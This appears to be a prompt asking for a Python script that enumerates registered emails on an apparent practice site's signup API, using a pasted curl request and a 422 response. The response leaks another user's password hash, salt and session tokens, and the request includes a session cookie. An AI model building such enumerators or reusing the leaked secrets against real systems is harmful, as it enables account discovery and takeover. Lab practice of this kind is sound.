curl --path-as-is -i -s -k -X $'POST' <br/> -H $'Host: 52-53-165-167-letsee.vulnerablesites.net' -H $'Content-Length: 119' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' -H $'Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"' -H $'Content-Type: application/json' -H $'Accept-Language: en-US,en;q=0.9' -H $'Sec-Ch-Ua-Mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36' -H $'Sec-Ch-Ua-Platform: "Windows"' -H $'Accept: /' -H $'Origin: https://52-53-165-167-letsee.vulnerablesites.net' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: https://52-53-165-167-letsee.vulnerablesites.net/signup' -H $'Accept-Encoding: gzip, deflate, br' -H $'Priority: u=1, i' -H $'Connection: keep-alive' <br/> -b $'_letsee_api_session=OXh%2Bd%2Fna5P5H8nHQ6YzAJgozQ6xPe9qFw3wLtobTRo%2BXNaxFDSmbDQGHOrfyheYm9l33qcRODUNTohoOSA%3D%3D--o95721CETTlDNCyc--EA51D2mVeyN5P6LcnfHb3w%3D%3D' <br/> --data-binary $'{"email":"asd@admin.com","password":"asd","password_confirmation":"qwe","name":"asd","nickname":"asd","website_url":""}' <br/> $'https://52-53-165-167-letsee.vulnerablesites.net/api/auth'


write a python script for this that enumerates emails for me and only tells me the ones that respond with ->
HTTP/1.1 422 Unprocessable Entity
Date: Fri, 20 Sep 2024 20:42:16 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
X-Powered-By: Vertical Mesh Solution Gamification
Cache-Control: no-cache
X-Request-Id: 6274d74a-d0d1-4629-a4f7-c50175fe3e20
X-Runtime: 0.157554
Vary: Origin
Content-Length: 1535

{"result":{"status":"error","data":{"id":null,"provider":"email","uid":"","name":"asd","nickname":"asd","image":null,"email":"asd@admin.com","created_at":null,"updated_at":null,"admin":false,"balance":"0.0","password_reset_token":null,"password_reset_sent_at":null,"website_url":null,"storefront_id":null,"user":{"id":11,"provider":"email","uid":"asd@admin.com","name":"admin","nickname":"admin","image":null,"email":"asd@admin.com","created_at":"2024-09-20T19:43:41.047Z","updated_at":"2024-09-20T20:39:48.941Z","admin":false,"balance":"0.0","password_reset_token":null,"password_reset_sent_at":null,"website_url":null,"storefront_id":7,"encrypted_password":"16e6b607f46ee067b705439974eeea42","password_salt":"yjBzRWH9yC1zAcXVky67","tokens":{"cl1LN_BQzUJc37cCCWr2oQ":{"token":"$2a$12$ATcyxmssYwAmDDcc/MNF2uA4LOgyEXEKfidWKIGJKVwVBW4ulDmay","expiry":1726868621},"GE40wVRnxiw6SyBQVJQqnA":{"token":"$2a$12$NPy131D2zqzKCAjFruJdT.68SO8VaKe5z9QDN8TAqjGjk7JHCPAcO","expiry":1726868668},"7kH1EGtfwTSIYKuOYQ07rw":{"token":"$2a$12$.gproaLwNPW0.Lcyp6Z3euxRlGMAN.pVJPsygRUteRyC2VN2hDWrS","expiry":1726871363},"wKFONrkpX8XEfMvLkgORHw":{"token":"$2a$12$UGMUx0fmVCDyWigReJDKFuDACI.bfoLlfLNLGbi4IK3c.tzQyXiOe","expiry":1726871365}}}},"errors":{"password_confirmation":["doesn't match Password"],"password":["is too short (minimum is 4 characters)"],"email":["has already been taken"],"full_messages":["Password confirmation doesn't match Password","Password is too short (minimum is 4 characters)","Email has already been taken"]}},"notifications":[]}

only check if email says has already been taken.
Use the curl command at the top to figure out what request to make in python